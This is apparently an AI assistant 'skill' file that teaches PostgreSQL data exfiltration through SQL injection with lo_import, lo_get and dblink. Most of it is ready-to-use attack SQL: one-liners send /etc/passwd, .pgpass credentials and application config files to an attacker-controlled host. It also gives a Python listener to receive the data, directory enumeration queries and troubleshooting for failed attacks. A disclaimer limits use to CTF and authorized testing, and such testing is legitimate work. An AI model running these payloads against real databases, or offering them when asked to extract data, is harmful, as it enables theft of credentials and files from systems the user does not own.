postgresql-dblink-lo-import-exfiltration

name

postgresql-dblink-lo-import-exfiltration

description

PostgreSQL data exfiltration using dblink and lo_import functions. Use this skill whenever the user needs to extract data from a PostgreSQL database through SQL injection, mentions dblink, lo_import, file exfiltration, database data extraction, CTF challenges involving PostgreSQL, or any scenario where they need to bypass database restrictions to read files or export data. This is for authorized security testing and CTF challenges only.

PostgreSQL dblink/lo_import Data Exfiltration

This skill covers advanced PostgreSQL data exfiltration techniques using dblink and lo_import functions. These methods allow reading files from the database server's filesystem and exfiltrating data through SQL injection vulnerabilities.

⚠️ Authorization Required

Only use these techniques on systems you own or have explicit written permission to test. Unauthorized use is illegal and unethical.

Overview

PostgreSQL provides several functions that can be exploited during SQL injection to read arbitrary files from the database server:

• lo_import() - Imports a file into the database as a large object and returns its OID
• dblink() - Executes queries on remote databases and returns results
• lo_get() - Retrieves data from a large object by OID

Technique 1: lo_import + dblink Exfiltration

How it works

1. Use lo_import() to load a file into PostgreSQL's large object storage
2. Use dblink() to query the large object data and send it to an external server
3. The attacker's server receives the exfiltrated data

Basic Pattern

-- Step 1: Import file into large object storage
SELECT lo_import('/path/to/target/file.txt');
-- Returns: OID (e.g., 12345)

-- Step 2: Exfiltrate via dblink to attacker's server
SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass',
  'SELECT lo_get(12345)') AS result;

One-liner for SQL Injection

SELECT dblink('host=attacker.com port=5432 dbname=test user=postgres password=pass',
  'SELECT lo_get(lo_import(''/'path/to/file''))') AS result;

Technique 2: dblink_connect for Persistent Access

Establish Connection

SELECT dblink_connect('myalias', 'host=attacker.com port=5432 dbname=test user=postgres password=pass');

Query Through Connection

SELECT * FROM dblink('myalias', 'SELECT lo_get(lo_import(''/'etc/passwd''))') AS (data text);

Close Connection

SELECT dblink_disconnect('myalias');

Practical Examples

Example 1: Read /etc/passwd

SELECT dblink('host=10.0.0.1 port=5432 dbname=postgres user=postgres password=postgres',
  'SELECT lo_get(lo_import(''/'etc/passwd''))') AS exfil;

Example 2: Read Database Credentials File

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'SELECT lo_get(lo_import(''/'var/lib/postgresql/.pgpass''))') AS creds;

Example 3: Read Application Config

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'SELECT lo_get(lo_import(''/'var/www/html/config.php''))') AS config;

Setting Up the Attacker Server

You need a PostgreSQL server listening to receive the exfiltrated data:

# Start PostgreSQL server
pg_ctl -D /var/lib/postgresql/data start

# Or use a simple listener script
python3 -c "
import socket
s = socket.socket()
s.bind(('0.0.0.0', 5432))
s.listen(1)
conn, addr = s.accept()
print('Connection from:', addr)
data = conn.recv(4096)
print('Received:', data.decode())
conn.close()
"

Error Handling and Debugging

Common Errors

Error	Cause	Solution
permission denied	PostgreSQL user lacks file read permissions	Try different file paths or escalate privileges
file does not exist	Path is incorrect	Verify file exists on target system
connection refused	Attacker server not listening	Ensure PostgreSQL is running and accepting connections
dblink not available	Extension not loaded	Check if dblink extension is enabled

Check dblink Availability

SELECT * FROM pg_extension WHERE extname = 'dblink';

Check File Permissions

-- Try to import a known file
SELECT lo_import('/tmp/test.txt');

CTF Challenge: fbctf2019/hr-admin-module

This technique was used to solve the fbctf2019 HR Admin Module challenge. The solution involved:

1. Finding SQL injection point in the application
2. Using lo_import() to load sensitive files
3. Using dblink() to exfiltrate data to an external server
4. Extracting credentials and accessing the admin panel

Reference: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md

Alternative Exfiltration Methods

If dblink/lo_import doesn't work, try:

pg_read_binary_file

SELECT pg_read_binary_file('/path/to/file');

copy_to with dblink

SELECT dblink('host=attacker.com port=5432 dbname=test user=test password=test',
  'COPY (SELECT * FROM sensitive_table) TO ''/tmp/exfil.csv''') AS result;

pg_ls_dir for Directory Enumeration

SELECT * FROM pg_ls_dir('/var/www/html/');

Best Practices

1. Always have authorization - Only test systems you own or have permission to test
2. Document your findings - Keep records of vulnerabilities discovered
3. Minimize impact - Don't exfiltrate more data than necessary
4. Clean up - Remove any large objects created during testing
5. Report responsibly - Share findings with system owners

Cleanup

After testing, remove created large objects:

-- List large objects
SELECT * FROM pg_largeobject_metadata;

-- Delete specific large object
SELECT lo_unlink(12345);

When to Use This Skill

• CTF challenges involving PostgreSQL SQL injection
• Authorized penetration testing of PostgreSQL databases
• Security research and education
• Understanding PostgreSQL security vulnerabilities
• Bug bounty hunting on PostgreSQL applications

Related Skills

• SQL injection fundamentals
• PostgreSQL privilege escalation
• Database security assessment
• Web application penetration testing